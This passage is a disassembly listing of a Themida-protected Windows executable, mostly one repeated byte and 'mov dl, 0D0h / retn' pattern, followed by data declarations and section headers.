; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 0E4h dd 100h dup(0E3342F80h), 88CF2F80h, 137h dup(88CFF608h) dd 0CCCCCC08h, 8E1h dup(0CCCCCCCCh), 0CCCCCCh, 1E67h dup(0) db 0 byte_5C3A41 db 2 dup(0) ; DATA XREF: ___:off_4378C8o byte_5C3A43 db 0 ; DATA XREF: ___:off_439A00o dword_5C3A44 dd 7 dup(0) ; DATA XREF: ___:off_4399F8o db 3 dup(0) db 0 align 800h Themida_ ends ; Section 5. (virtual address 001C4000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001C4000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5C4000h dd 80h dup(0) align 1000h _idata2 ends end start